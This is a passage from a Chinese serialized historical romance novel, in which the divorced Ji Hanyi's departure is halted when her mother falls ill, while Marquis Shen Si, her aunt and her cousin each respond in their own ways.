沈肆低头看着掌心里静静躺着的耳坠,眼底冒出了血丝,收紧的手掌微颤,又低头撑在小案上。
高大颀长的身躯后背躬起来,雅白的宽袍被纱灯映照出一层朦胧,自来规整又体面的人,此刻浑身颓冷。
站在门外的头的文安忽然又听到里头一声瓷器被摔碎的声音,吓得抖了抖,暗想着今夜该怎么过去。
他也当真是想不通季姑娘到底是怎么想的,侯爷这般的人物,不说她竟这么做,就说她一个和离妇,怎么还嫌弃上他家侯爷了。
那可是侯爷给她的东西啊,她难道都不知晓那意味着什么么?
就是现在正住在宫里头的那位郡君,也总去皇后娘娘那儿呆着,为的是什么,还不是侯爷么。
他摇头,这真是送到嘴边的肥肉都不知道啃一口。
不过倒是还知晓怕,跑的这么急。
---
这头容春欢欢喜喜的拿着当了的银子回来,季含漪看着容春带回来的银子,拿在手里点了点。
一共只有三百多两,季含漪觉得微微可惜。
那两件簪子是季含漪当初给母亲买的,但是母亲不肯要,给出去又偷偷塞回给了她,她便留着自己用了。
容春站在旁边看着季含漪点银子,又说起了碰到了文安的事情。
季含漪听到碰到文安,心里头微微顿了顿,抬头看向容春问:“亲手给了么?”
容春便忙点头:“亲手给了的。”
季含漪知晓文安是沈肆身边长随,给他也是放心的。
只是在这一刻心里有些怅怅然。
她又深吸一口气,明日就要走了,已经不适合想这些了,又叫容春也去收拾收拾,她这会儿起身一起去陪着母亲用晚膳。
本来今夜外祖母打算摆一桌宴席的,但是季含漪觉得不用大费周章,再有今日早些休息,明日才好早些赶路。
她自己也知晓自己这回走的有些急,但在她看来,自己与母亲在这里多住一日,心里终究也是觉得不好受。
顾氏难得的下了床榻,身上穿戴得整齐,发丝梳好,还戴了几件简单的首饰,脸上难得有些气色。
季含漪看母亲的精神好似比前几日比起来好了一些,心里也是高兴的。
一起用膳的时候,顾氏说待会儿用完膳再要去看看外祖母。
今日下午的时候,顾氏就在顾老太太那儿说了一下午的话,这会儿顾氏还要去说话,季含漪也点头,说待会儿一块去。
外祖母一向对母亲好,母亲心里有舍不得也寻常。
用完了晚膳,丫头又端了松茸汤来给顾氏。
这松茸也是顾晏送来给顾氏补身子的,顾氏嫁给季含漪父亲这些年,养尊处优的日子过了好些年,从前喜爱吃松茸,季家出事后,虽说爱吃,但生活从简,也也没法子吃了,顾晏得空来看望的时候便送来一些。
季含漪也知晓这些,更知晓母亲在顾家,大舅母有些安排并不妥当
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,但也是晏表哥时时来照看,母亲在顾家的日子才稍算的上舒心。
顾氏接过了丫头送来的白玉松茸汤,又递到季含漪面前:“你吃吧。”
季含漪摇头:“这是补身子的,母亲的身子要紧,母亲身子好些,我们路上也更顺坦。”
顾氏默默的一顿,也不想自己给女儿添麻烦拖后腿,她知晓自己的身子一落千丈,眼神有些伤感的默默喝汤。
季含漪便小声与母亲说明日的安排,到了哪儿开始走水路,又说哪里的风景好可以多住两日,再说路上哪里有哪些吃的可以去尝尝。
这些季含漪早在计划要走的时候,就已经开始去了解过了,说起来也是顺畅。
她与母亲说这些,是知晓母亲是个容易担忧的性子,一点点困难便想要退缩,但季含漪想要让母亲放心,一路上她都了解的透彻,即便有些小插曲,也不是要紧的事情。
顾氏一边吃汤,一边笑吟吟看季含漪说话。
屋内的光线并不敞亮,张氏送来惠兰院的蜡烛不是更明亮少烟的蜂蜡,而是光线暗沉一些,有淡淡腥味的脂蜡。
寻常脂蜡因为有腥味也会混入些香料掩盖,但屋子里点的脂蜡,明显连香料也没怎么加,算是最差的那一类脂蜡了,光线昏沉沉又并不好闻。
但顾氏忍了三年这样的蜡烛也已经习惯了,她看着昏暗光线下的季含漪,坐在她对面吃茶说话,坐在那张小小的玫瑰椅上,身上的粉底衣裳虽说素净,但也难掩盖身上的那股柔美与如玉的温润,细细的眉眼,还有那张樱唇生出股昳丽,与她父亲的艳有好几份相似。
如今那眉目里更是有她父亲从前一切成竹在胸的从容,仿佛跟在他身边,只需要亦步亦趋的跟着他的脚步走,便什么也不怕了。
如今的季含漪,仿佛也有了那样的影子。
她仿佛也能够独当一面了。
顾氏瞧着瞧着眼底便朦胧起来,又不想再在女儿面前伤心,又低头将正低低说话的季含漪一把揽入怀里,感受着女儿柔软娇小的身子,她心里的所有不安彷徨也都跟着烟消云散了。
即便她的夫君走了,她还有女儿。
她还要陪在女儿身边。
季含漪忽然被母亲抱着也是愣了愣,又很快软下身子来,安心的闭着眼靠在母亲gt香软的怀里,母亲亦是给了她安慰。
前路也并不是茫茫,她心里亦是有一口气,和离后的女子,不是如他们所愿的应该深居简出,过得凄凉再自怨自艾。
她不想,也不愿。
夜里从外祖母那里出来,已经是有些晚了。
顾氏的眼眶红红的,刚才抱着顾老太太一起哭了好大一阵,犹如生离死别,季含漪也没有劝住。
大舅母和二舅母也过来说了好些送别的话,一人说几句,二舅母还拿出一些体己出来要给季含漪,推拒了好半天,出来的时候就已经是亥时了。
外头夜色寂寂,季含漪却忽然想起了沈肆身上那股冷清。
第121章 梦见沈肆
季含漪与母亲走在路上,路上的时候顾氏的脸色有些白,靠在季含漪的肩膀上走路有些踉跄。
季含漪想母亲是因为明日要走,心里太过于伤心,本就是多愁善感的性子,与外祖母分别,定然是难过的,又叫丫头扶着点。
季含漪先扶着母亲上床榻,看母亲在床榻上疲惫的睡下后,才转身回屋子里去盥洗沐浴。
只是这一夜季含漪竟然梦见了沈肆。
她梦见她被他抱在怀里,被他按在身下,还梦见他那双历来深沉又冷清的眸子紧紧的看着她,缓缓的朝着她她靠近,像是要吻她一般。
身上莫名有一股热,耳边如羽毛吹拂,沙哑的声音带着热气,低低的唤她的名字。
陌生的燥热叫季含漪一下从梦境中惊醒,床边只有一盏幽幽的烛灯,光线透进床帐内更是昏暗。
她茫然的看着床柱一角,仿佛还能听见心里扑通扑通的声音。
梦境里沈肆的唇畔压下来的那一刻,真实的触感,叫她觉得仿佛自己真的经历过。
季含漪捂着胸口,不明白自己为什么会做这样的梦境,她甚至都不敢想,沈肆那样高不可攀的人,会那样性感低喘着来吻她。
在她心里,沈肆永远是矜贵严正的,永远都不可能如梦中那般。
季含漪低头捂着自己的脸颊,脸颊有些发烫,散开的发丝下坠,挡住脸上的表情,她有些羞愧自己竟会做这样的梦。
她最不该做这样的梦境的。
季含漪又低头捂在被子里,她明明对沈肆没那样的心思,也不敢生这样的心思的。
又想明日还要早早赶路,不该乱想了。
她正想又躺下去,床帐外头却传来凌乱的脚步声,她一顿,伸手掀开床帐,便看到春菊脸色惨白,一脸慌张的跑进来,见着季含漪便喊道:“姑娘,出事了!”
季含漪心头一紧,又看春菊的脸色,忙坐在床沿上问:“怎么了?”
春菊脸上带着些恐惧,显然被吓得不轻,她张张口,好半晌才找回了自己的声音:“夫人呕血了。”
季含漪脸色微微一变,忙扯过架子上的衣裳披上,又叫容春赶紧去请郎中,草草的穿戴好就连忙往母亲那里去。
屋子内灯火通明,屋内伺候的两个丫头都是一脸恐惧的站在床边,见着季含漪匆匆的进来,犹如找到了主心骨,慌张的问:“姑娘,怎么办?”
季含漪疾步走过去,便见着母亲双眼紧闭,软绵绵的躺着,白色的寝衣衣襟上染着大团的血,唇边还有没擦干净的血迹。
那脸颊边的软枕上,红色的血在烛光映照下触目惊心,有些骇人。
季含漪身上晃了晃,弯腰撑在床柱上,细白的手指颤抖的伸到母亲的鼻下,微弱的气息落到她手指上,她大口深吸一口气,往后跌坐在椅子上,眼眶红了一片,心底发慌,又叫自己镇定下来细问。
春菊在旁边哭起来,哽咽着断断续续道:“夫人睡下后一直好好的,中途还起身说口渴喝了口茶,哪里想半夜夫人忽然又叫我,我一过去,就见着夫人侧躺着开始呕血,一句话也没说出来,就昏了过去。”
“我也是吓着了,夫人从前即便身子不好,也从来不曾这般过的。”
季含漪侧着头,怔怔看着母亲惨白的脸颊。
从前一直都是好好的,为什么临到走前就忽然这般了。
容春紧赶慢赶的叫了前门的人去骑马请郎中,回来见着季含漪坐在床沿边上小声道:“姑娘放心,郎中很快就来了,夫人会没事的。”
季含漪低头撑着额头,喉咙艰涩,开不了口。
春菊又含着泪问:“要叫大夫人过来看看么?"
季含漪一顿,摇了摇头。
没多久郎中匆匆带着一身寒气进来,屋内季含漪已经让丫头多点了几盏蜡烛,明亮的烛光照亮血迹,让那老郎中看了都吓了一跳。
他忙挽了挽袖子,神色凝重的上前把脉。
屋内全都一静,眼神都紧紧看在郎中身上。
老郎中把了许久的脉,随即才皱着眉,抬头问起顾氏身体的一些情况来。
春菊是随身伺候的,连忙一五一十的说了。
老郎中听
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罢,又长长叹息一声,对着季含漪道:“夫人的脉息虚弦,应是肝郁耗血之症,又因情绪起伏,郁结于胸,所引起的呕血。”
说罢他伸手抹了抹胡须,脸上露出为难神色:“夫人的身子本是极弱,又思绪多度,身体自然受不住,这种病症多是忧思过多引起的,是心病,只有心病除了,神清气爽,病也自然好了。”
说着他又问季含漪:“夫人近来可有什么心事?”
季含漪顿了顿。
母亲的心事。
她还没开口,外头的帘子忽的就被人一掀开,急促的脚步进来,帘子翻动,将外头的冷气带进来,接着进来好几个人。
是张氏带着丫头进来了。
容春让前门的人骑马,要去马厩里叫马夫,府里内外万事要大夫人点头,张氏知晓也并不奇怪。
指尖张氏一进来便冷着一张脸,满脸的不耐烦与嫌弃,对着那老郎中便道:“那她的心思可就多了。”
“自己不省心,身边的人也不省心,能没有心事?”
“又是大半夜的出事,这府里能不能有个消停日子?”
张氏这意有所指的话,季含漪心里听得明白,她抿了抿唇,看向老郎中问:“现在应该怎么办?”
老郎中叹气:"如今只能先开些补气的方子,再好好调理,身心舒畅,才能慢慢好起来。"
说着又看一眼季含漪脸上寂寂神情低声道:“好好劝着吧,这世上也没有什么跨不过去的坎,想过去了就好了。”
季含漪失神,是不是母亲其实还在在为她和离的事情伤心。
就如她当初在母亲面前表现的和谢玉恒夫妻和睦的那样,其实母亲在她面前,也是怕她难受才故作看开的。
母亲的性子一向容易想不开……
老郎中从身边走过去,季含漪也依旧失神,眼眶里渐渐噙了泪。
张氏往床榻上去看了一眼,看到了满目的血,也是被吓了一跳,转头看向季含漪:“你瞧瞧你做的事情,你不知晓你母亲的性子?”
“没得让府里的人又来操心。”
第122章 她没人可依靠的,她只能靠自己
张氏的声音一声声传入耳中,季含漪闭了闭眼睛。
她知晓,若是她继续这般自怨自艾与愧疚,旁人人人都再会变本加厉的指责她,指责她当初的选择,指责她自作自受。
她的选择没有错,和离也不是她的错,她也不会这么轻易就颓然下去,叫人看轻。
她没人可依靠的,她只能靠自己。
指尖的绣帕被捏的发皱,季含漪眼里的泪光忍了忍,闭着眼睛将泪水都逼退回去,再侧头低声与春菊吩咐,先去让人按着郎中开的药方拿药熬药,再去烧热水来给母亲擦洗,屋内也再烧两盆炭火来。
张氏见季含漪没有理会她,便又冷笑一声道:“你可要照顾仔细了,之前人家谢家的上门来与你好好说你不肯,如今你母亲被你气成了这般,你不知晓你母亲什么性子?”
“你父亲出事的时候她都要跟着你父亲去了,你这事,你当你母亲就这么好过去的?”
站在季含漪身边的容春听得心里一抽一抽的,大夫人本是姑娘的舅母,现在出了这样的事情,不想着帮忙想法子倒罢了,偏偏在这个时候往姑娘的心窝上插刀,又是个什么意思。
回来的这些日子,这院子里不管生了何事,也没叫大房二房的过来帮忙过,更从没公中账上支过银子,大夫人除了每回来冷嘲热讽的,又做了什么?
这院子从前还是夫人的院子呢,老太太都还想叫夫人长久住下去,大夫人又凭什么这么说。
季含漪感受到容春的情绪,轻拍了下她的手,又看向张氏,声音里已经微微冷清:“和离的事情谢府背信弃义,我不忍这一口气,我是执意要和离,但我到现在也没后悔过。”
“舅母不必说这些话,不管什么后果,都是我一人承担,我母亲的事情,也由我一人来照料。”
“我自回来,我母亲的事情自始至终没麻烦过旁人,既往厨房给了银子,也自己出银子拿药。”
“我感激从前舅母的照拂,如今我手上还有些银钱,往后我能够照料,舅母也不必操心。”
赵氏听着季含漪的这两句话愣了愣,又看季含漪脸上静淡的神色,明明一双眼睛已经通红,却仍在与她说这些逞强的话。
这顾氏本就是个身子柔弱的,自从吃了那**之后更是一落千丈,身子金贵的很,要吃上好的补品补药,动不动就头疼脑热,外头走一圈就能落个寒,这样的身子就是个无底洞,她季含漪能有多少银子填?
不过她本就不愿承担起顾氏这一呕血的花费,如今季含漪自己提出来倒也是好,老太太那里也没有话头来说她。
季含漪也还算有些眼力见,见着她神色没开口找她出银子买药。
她心里稍稍满意,又看了床榻上的顾氏一眼,想着这样的身子倒是不如**,没得一家人都被她给牵扯着。
她虽这么想,但脸上的情绪也依旧没有好多少,依旧是沉着一张脸对着季含漪道:“倒不是我舍不得银子不愿管,我来这一趟本就是想要来帮忙的。”
“但你自己既这般说了,我也不好说什么,听你的就是。”
“至于照顾你母亲,你也不必说那些话,都是一家人,我们能袖手旁观?该来照顾的自然也会来照顾。”
说完她又看季含漪一眼,也是觉察着半点东西不往这里送也说不过去,便又道:“这会儿我让人送些炭过来,她现在这身子,更受不得寒了。”
这回容春就率先开了口,有些话姑娘顾及着亲戚体面不好开口,便她开口就是。
她朝前走了一步,先是对着张氏福了一礼后道:“屋里的炭火大夫人不必操办,我家姑娘前些日子还买了好些炭没用完,再用几日也是够了的。”
容春还没彻底将那讽刺的话说出来,即便公中送了炭来,姑娘也不会用,那送来的炭少倒是罢了,可送来的都是烟尘大的黑炭,蜡烛可以稍忍忍,可那黑炭烧起来整间屋子里都是那股烟味,时间长了头晕目眩的,怎么好忍?
姑娘计较着体面,这些日子以来没提过,想着是白送来的,也的确是公中的账银,不好挑
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三拣四的,也叫院里的丫头们也别提,只是不再用了。
又想夫人在这里住了这些年,每年姑娘都是自己贴银子给惠兰院置办炭火,难不成不说出来,顾大夫人还以为夫人年年都是用的她让人送来的炭么。
张氏听了容春的这话脸色微微一变,这个小丫头忽然站到主子面前开口说这样几句话,她不可能听不懂。
这是嫌她炭送的少,又送的不好了。
一个吃白食的,又哪里来的脸面嫌弃?不要更好,公中账目上又能省些银子给宛云做两身好看的春衣,将来去沈府的宴会去。
自己女儿马上就要一脚踏进富贵窝了,她在意一个丫头的话做什么。
想了这番,张氏脸上皮笑肉不笑的四两拨千斤道:“倒是没想到你们院里自己置办了炭,这倒也是好的。”
又看向季含漪:“我瞧着你倒是样样妥帖,我倒也帮不上什么忙了。”
”往后我瞧着这炭我也不必送了。”
这话里自然不是夸奖的意思,季含漪也听得出来,脸上也没了从前情绪,只是点点头:“这些日的确没叫舅母帮什么忙,舅母一大早的过来说这些话该也累了,母亲这会儿怕是醒不来,舅母先去歇会吧。”
张氏听了这话脸上一顿,这是讽刺她只动嘴,请她走了。
她脸上微微难看,又端着身子再看了季含漪一眼,单薄的一身,摇摇欲坠的强打精神,偏还有些犟。
她理了理衣襟淡冷笑了声:“你既这么说了,我瞧着我也的确是帮不了什么,那我也回了,若是有什么需要的,便让人去我那儿说一声,能帮的我也是要帮的。”
季含漪无心与张氏应付,让旁边丫头去送,等张氏走了才软下了身子,一下坐在了床边发旧的玫瑰椅上。
脚下的炭火忽明忽暗,带给不了身上多少的暖,春菊将刚才郎中开的药方子拿到季含漪的面前来,小声道:“这药方真不便宜,一副一两多银子呢。”
“一日吃三副的话便是四两多银子,这可了得。”
第123章 他还想着要见她
季含漪接过了春菊手上的药方低头看着,上头的药材全是补身的上好药材,贵大抵也是贵的。
但只要母亲的身子能够好起来,季含漪如今也顾不得这些。
热水烧好,丫头进来给将床单给换了,还给林氏身上也换了一身,又擦了脸。
药熬好的时候,天色已经微微亮了。
季含漪坐在床边给母亲喂药,容春蹲着一边拨弄炭火一边小声道:“怕是这些日都走不成了。”
季含漪没说话,心里已经在开始慢慢思量了。
今日定然是不能再赶路了,只是若是长留在这里,怕是也不行,即便母亲的病没好,她也不想留在这里。
另一头的沈府内,沈肆几乎一夜都坐在书房里。
他靠在紫檀椅背上,目光落在面前桌案上的那只匣子上,匣子里放着那对耳坠,此刻在灯下泛着光彩的琉璃光,但沈肆此刻的神情异常的冷寂。
外头的天边亮起了一丝丝的白,过了良久,他才开口问身边的文安,声音里带着少见的疲倦:“她走了么。”
文安赶紧从屏风后头进来答话:“那头还没传来消息,该是还没走的。”
沈肆抿着唇,低头看着手里关于蔚县的地志。
蔚县离京一千三百里,即便骑快马去见她,最快也要七八日。
而他在京城要职上,要抽出七八日去见她,是几乎不可能的。
沈肆指尖抚过书页上的山川,他竟还想着要见她。
见了她后又如何。
她一走了之,大抵也不会想要见自己。
她不想再嫁人,她如今想要的是自由,那是她的选择。
沈肆没有再说话,文安也很识趣的悄声退了出去。
昨夜侯爷回来后就在书房里坐着了,五更天才刚一过,就开始问季姑娘走了没有,文安怎么不明白呢,那是侯爷根本舍不得季姑娘走,却又要面子没去挽留。
不过也是,侯爷那般费心给季姑娘做的东西,季姑娘却还了回来,侯爷心里怎么想?
他站在屋外廊下,看着暗沉沉还没有亮起来的天色,长长的叹息一声。
一直到了卯正时,门外丫头按时过来伺候盥洗,文安本以为侯爷会让下人们在外头等一阵的,没想到侯爷如常叫人进去伺候和穿戴。
出来的时候,侯爷身上换了公服,头发一丝不苟,脸上面无表情,又变得和从前那般肃正又规整,除了眼底那一丝淡淡的疲惫和眼里的血丝,与平日里看着根本没有什么两样。
若是不说,谁又知晓侯爷昨夜喝了闷酒又一个人坐在书房里一夜未睡,就等一个人的消息呢。
沈肆看了眼等在外头的文安,又低声吩咐了一句:“若是她走了,路上让人好好护着她。”
“每过一处都要来信,务必安稳的送她到蔚县。”
说着沈肆的声音又一顿,抿了抿唇:“别叫她知晓。”
文安愣了下,又赶紧应下来。
他看着侯爷的背影,修长挺括,依旧如常一丝不苟,仿佛昨夜的事情早已经过去了。
到底放没放下,他想不明白。
侯爷心里到底在想什么,谁也猜不透。
沈肆如常去到母亲那里问安,去的时候,懿德居内早已坐满了大房的人。
大夫人和府里的姑娘还有孙媳,围在沈老夫人面前,还没有进去就听到热闹声。
沈肆走进去后,屋子里的声音歇了歇,沈老夫人见着沈肆进来,就提了句:“刚才她们说最近的日头在开始暖了,后园子的花也开了好些,说要办个诗会呢。”
“我瞧着人多点更热闹些,你说还请谁来?我听说含漪从前诗词好,要不要请她来?”
沈肆的眉眼一淡,稍微顿了下,只说了句:“不用了。”
便转身走了出去。
沈老夫人一顿,看着沈肆这冷淡的神情,瞧不透他的心思,她本以为他要点头的。
上回那事过后她算是想明白了,怎么上回会那么主动的提顾府帖子的事情,那季姑娘和离了不就住在顾府么,他这是醉翁之意不在酒啊。
她这回就是心存了再试探的意思,看看自己儿子是不是真就上心那个季家
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姑娘。
她想着那季含漪从前是讨喜,生的水灵乖巧,模样软嫩,且性子也好,品貌挑不出什么不好的来,可坏就坏在和离了,谢家门第也还不低,这要娶了,不成笑话了。
若是自己儿子真上心季含漪,等季含漪来了,她敲打敲打,倒不是要为难她,多补偿她一些就是,毕竟那孩子日子该是不好过,认个义女,多给她些田庄铺子,将来也免得被人欺负。
这会儿见沈肆态度这般冷淡,又拿不准他的态度了。
旁边的沈大夫人白氏看着沈肆的背影笑道:“五弟自来是这个性子的人。”
沈老夫人顿了顿,心下这时也没了什么心思,为着自己儿子的婚事,她当真是操心都觉得无力了。
又看了白氏一眼,淡淡道:“这事不提了,诗会不用邀别的人来,按着往年的来也行,你让三丫头定吧。”
白氏看老夫人心情像是不大好,又赶紧应承下来:“老夫人放心,我保管安排的好好的。”
沈老夫人看了一眼白氏,见她殷勤也不说什么了,她倒是很喜欢自己这个继子的儿媳,心思玲珑又机敏,说的话好听也会伺候安排,自己也是放心放手让她万事操持。
这些年府里的一切,白氏也打理的稳稳当当,面面俱到的。
想到这里,沈老夫人又稍微有些遗憾的叹息,也不知自己儿子将来又娶个什么儿媳,她竟没什么大期待了。
只盼着她能有白氏的一些机敏就好,沈府这么多家业,这么多人情来往,还有对外的接待,能够应付得过来就行。
这头沈肆才刚踏出前门,手下就等在马车旁,见着沈肆便忙往前过去,一过去便低低说了一句:“大人,顾府那头好似出事了。”
沈肆本要上马车的步子一顿,低头看向手下递过来的信。
他站在马车前,穿堂风掠过他的衣袍,衣袂翻飞,颀长雅致的身形在未亮的天色下依旧挺拔。
手上的信被拆开,沈肆低头看信,看至最后,修长的指尖打在信纸上。
冷淡的眉眼微蹙。
第124章 只要漪妹妹喜欢
这头季含漪才刚给母亲喂完药,帘子外的丫头就进来小声说二房的人还有老太太来了。
季含漪撑着额头,昨夜发生的事情,府里应该全知晓了。
床榻上母亲依旧睡着,没有丝毫要醒来的意思,季含漪撑着床柱站起身,身形晃了晃,眼前微微一黑,缓了许久才缓过来。
出去外间,二房的人和大房的表嫂还有外祖母都坐在外头,许也是怕进去打扰了母亲休息,个个都沉默着也没有说话。
二舅母刘氏的脸上担心明显,见着季含漪出来,身上的衣裳发皱,发丝落了好几缕下来,整个人瞧着似没了力气,又见着她眼眶上的红晕,不由也难受,问道:“我听说你母亲昨夜呕了血,郎中看了可说了什么?”
屋内的人便都往季含漪的脸上看过去,等着她说话。
季含漪已经是满身疲惫,坐在椅子上,喝了一口容春递过来的茶,才开了口。
她的声音落下的时候,屋内的人都静了静,一时不知道该说什么好。
顾老太太看向季含漪低声道:“你母亲会好起来的,你也别太担心,不然熬坏了身子。”
季含漪轻轻点头。
顾老太太又让其他人先回去,就算他们留在这儿也帮不上什么忙。
其他人本来也是做个样子过来的,出了事,总要来看看,现在老太太发了话,一个个的就又站了起来。
二夫人脸上倒是有几分真的关心,走到季含漪的面前低声道:“你也先去歇着,不管多大的事,府里的人一起想法子。”
季含漪轻轻点头,眉眼真诚:“谢谢舅母。”
刘氏看着季含漪苍白的脸庞,小脸儿上没什么血色,想起从前季含漪一个娇娇气气被养在深闺的女子,如今一桩桩事全发生在她身上,也是唏嘘。
她又安慰了几句,这才走了。
顾老太太留在了最后,进去里屋内去看顾氏。
见着顾氏一动不动躺在床榻上,顾老太太眼里含了泪,默默坐在床边。
顾老太太心里明净似的清楚,这府里头真正牵挂自己女儿的,只有自己和含漪了,旁的人不过都是做些面上功夫。
顾老太太很是伤心,握着顾氏微凉的手哽咽:“怎么就这么想不过去呢。”
没人回应顾老太太,顾老太太也伤心的很,抹泪了许久。
季含漪怕外祖母伤心的过度,就在旁劝着。
顾老太太老眼里全是泪光,看着季含漪:“你母亲是最柔软善良的性子,不争不抢,回来这些年,我知晓她不高兴,她想要跟着你父亲走了。"
“但她是我的女儿,我怎么能眼睁睁看着她做傻事。”
“现在她身子愈发的不行了,漪丫头,你别自责,不管你母亲往后是什么命数,我们都要接受。”
“这是她的命,也是我们的命数。”
“你不能去怪你母亲想不开,旁人也不能来怪你。”
“我们都尽力了。”
季含漪哑了哑,泪水冒出来,外祖母的话总是能在她最彷徨无依的时候给她最柔软的后盾,叫她前路有了方向,叫她依旧能够往前迈步。
季含漪含了泪,低头埋在外祖母的肩膀上,隐忍的哽咽点头。
这时候又来了丫头来传话,说顾晏就站在外头。
顾老太太听了这话,让季含漪从怀里抬头,又低声与她道:“晏哥儿是挂心你的,你该是知晓你大舅母的性子,其实你应该也知晓了你大舅母对你母亲多有亏待。”
“其实从前我是看在眼里的,但是府里你大舅母掌着公中,府里也没什么产业,多亏她一手操持着,我不好多说她什么,平日里便让晏哥儿来多照顾照顾你母亲。”
“你大舅母一向在乎晏哥儿,由他来中间照顾也是最合适不过的,所以这些年惠兰院小事上虽有些苛待,但在大事上,你母亲时不时的病痛上,一次也没亏待过。”
说着顾老太太默默看着季含漪的眸子:“含漪,你该明白,晏哥儿心里是有你,是看重你,也敬重你母亲才这么照顾,便是你浔表哥也不可能做到他这般的。”
“今日你母亲出了事,他怕你想不过去,还特意请了一日的假在府里,就是怕她母亲拎不清,想要留下帮你。”
“这会儿想必他也是担心你来见你,你便出去见见他吧,我在这儿守着。”
季含漪听着外祖母的这些话,微微的失神。
这些话是她第一次从外祖母这里听来的,她原以为晏表哥只是时不时给母亲送些补品过来,原来晏表哥还帮她做了这么多。
她的确亏欠晏表哥的。
季含漪用手帕在眼睛上捂了捂,轻轻嗯了一声起身。
出到外头,顾晏站在院门口,因着是女子住处,即便是他小姑的住处,他也避着嫌,没有进去。
他见着季含漪从里头走出来,眼眸含着潮湿,眼尾处和鼻头泛着红晕,弯弯眉眼,眼底一寸寸的愁绪如横波惹春,抬眸里晏晏兰情。
顾晏看得心里发紧发疼,呼吸更是一窒,他的手在身**了又握,心跳声里,他清楚的知晓自己一直以来,到底想要的是什么。
他不等季含漪走到面前来,便已经往前走了一步,看着季含漪身上单薄的秋月色衣裳,领口也微微皱着,映在那羊脂玉似的皮肤上,叫他看着不忍。
他看着那湿漉漉的眼,低头哑声道:“漪妹妹别怕,姑母一定会好起来的。”
季含漪心里头难受,又听顾晏的话,想起外祖母说的那些,她抬着眸子看向顾晏,细声的开口:“也麻烦表哥为我和母亲担心了。”
顾晏一顿,又连连摇头道:“我怎么能不担心呢。”
“我已经叫人去请了城北的郎中来,说是会针灸术,对呕血之症有用,只是他今日不得空闲,可能明日才能来。。”
季含漪感动的对着顾晏福身:“谢谢表哥了。”
顾晏下意识的伸手想要扶着季含漪,又在快碰到她的那一瞬又蓦的顿住了动作,他道:“漪妹妹别这般客气,我们自小一起长大,我照顾姑母是应该的。”
说着他又将手里一直拿
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着的纸包放到季含漪面前,眸子看在季含漪脸上:“这是漪妹妹爱吃的佛手酥,吃一块吧。”
“我知晓你到现在定然是还什么都没吃的。”
季含漪怔然看着顾晏手里的佛手酥,佛手酥香甜的味道传来,叫她想起了从前小时候顾晏吓她,惹她生气后,也是会跑出去买佛手酥来哄她。
经年旧事想起来分外叫人伤感,季含漪眨了眨眼睛,伸手拿了一块咬了一口,依旧还是从前的味道,她抬头看向顾晏:“表哥谢谢你。”
顾晏笑了下:“只要漪妹妹喜欢。”
季含漪不知晓该说什么了,她觉得她对顾晏的愧疚又多了一些。
又听顾晏在耳边的话:“院子里还差缺什么,漪妹妹让人去我院子里与我说便是,我会为漪妹妹安排好的。”
其实季含漪也隐隐能明白顾晏的意思,她心里一紧,垂着眼帘又轻轻点头:“好。”
顾晏看着季含漪这低头的模样,那白净的尖尖下巴分外的秀气好看,微风吹拂在那细细发丝上,带来的淡淡幽香,又叫他感同身受她的难过。
顾晏又深吸一口气,他并没有要留季含漪站在这里多久,又往后退了一步,与季含漪低声道:“漪妹妹身上单薄,外头天冷,漪妹妹快些进去吧。”
季含漪看着手里的纸包,又看着顾晏后退的步子,从来没有叫她觉得太过靠近和不舒服,像是在她面前,从来都是小心翼翼的在在意她的情绪。
她的指尖细细紧了紧,又轻轻点头,在顾晏的目送下,拿着剩下的佛手酥回了屋子。
屋子内,顾老太太见着季含漪手上的佛手酥,笑了笑道:“晏哥儿给你的吧。”
“他从来都记得你的喜好的。”
“就连你喜欢吃什么菜,他都记得。”
季含漪垂眉坐在外祖母的身边,低头看着手上的纸包,一时不知该说什么好。
外头的天色渐渐亮起来的时候,容春忽然高兴的进来说,府里来了位太医,正可以过来给季含漪母亲看诊。
顾老太太有些诧异的问:"哪位太医?"
顾家如今在京城名不见经传,哪里能够请的动宫里的太医,就连认识都不能认识一个。
容春便赶紧说了从前门听来的经过。
原那是宫里的陈太医,今日往这条巷子来去友人家中,路过顾府门前的时候摔了一跤,被顾府前门的人见着了,就顺手请到了门房里休息了会儿,又说起了自己的身份,门房的人知晓昨夜出了事,便提了一嘴,结果那位陈太医居然很是乐意来看诊。
顾老太太听了这话,脸上不由高兴起来道:“这可是造化,也是撞上了。”
她说着赶紧对容春道:“你快去传话,叫人好生将那位陈太医请来。”
季含漪还是更谨慎些,总觉得太过于巧合了些,她叫住容春问:“怎么证明那太医的身份,万一是江湖骗子怎么办?”
容春便道:"说是他身上还穿着官府,腰上还挂着牌子的,身后还有仆从,应该不会是假的。"
第125章 不管什么结果,都要试一试的
若是江湖骗子,是不敢穿官府的,因这是杀头流放的大罪,即便有胆子大的自己仿制来穿,也是粗制滥造。
季含漪微微放了心,叫容春快去请。
很快那位陈太医被请进来,身上的气度与穿着,便知不可能是假的。
那位陈太医也很客气,与季含漪和顾老太太都作了礼,还自报了姓名官职,为的就是叫季含漪和顾老太太放心。
季含漪也彻底放心了,忙又请陈太医给母亲看诊。
陈太医特意看了季含漪一眼,身上是深闺妇人的柔软与精致,又透出股细细的韧性,他也没多看,就着手眼前的事情来。
毕竟他演这一趟,也就是为了这。
床上的妇人很美,如柔弱的芙蓉花,但是看起来却是孱弱的很,依稀还有刚才那位姑娘的两分相貌。
他凝着神,仔细过去把脉。
陈太医虽说才年近四十,但是十四虽就已经在太医院学习,几乎没有什么病症能够难倒他的。
只是这会儿这个脉象看起来有些不对,脉息很虚,像是脾肺两虚以导致的吐红,喘息气短的症状。
这种症状多是由心疾引起的,心脉淤阻,本就身子不好,更受不住心病,往往后头来一场急病,就撒手人寰了。
但是看那脸色,白中隐隐的带着泛青,又像是不是寻常心疾,倒是有一丝似乎**的迹象。
只是这也不能肯定,毕竟面容发青的原因也有很多,为求得稳妥,他还是没开口,免得闹得人心惶惶。
他如实与季含漪说了顾氏的状况,又道:“如今夫人的确是再受不得什么刺激,脉象虽说弱,但也不是那么急,好好调养着,身子也能好起来的。”
季含漪听了这话心里头松了口气,连忙又道谢。
陈太医又往季含漪身上看去一眼,随即笑道:“无妨的,不过失举手之劳。”
说着他问来纸笔来,着手写方子。
在写下的方子里,他刚才虽未说出来,却是加了味解毒的药材以防万一。
送走了陈太医,容春看季含漪拿着陈太医写的药方看,便问道:“现在有两张药方,用谁的?”
季含漪如今已经相信陈太医的身份,她稍想了想,还是将陈太医的药房放到容春的手上,让她按着这个方子去拿药。
毕竟太医院的太医见多识广,应该是更稳妥些。
容春便又拿着药方去了。
这头陈太医坐上马车从巷子里出去后,就连忙往都察院衙门去了。
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顾氏是在中午过后的时候醒来的,醒来的时候见着季含漪坐在椅上,正趴在她的床边小睡。
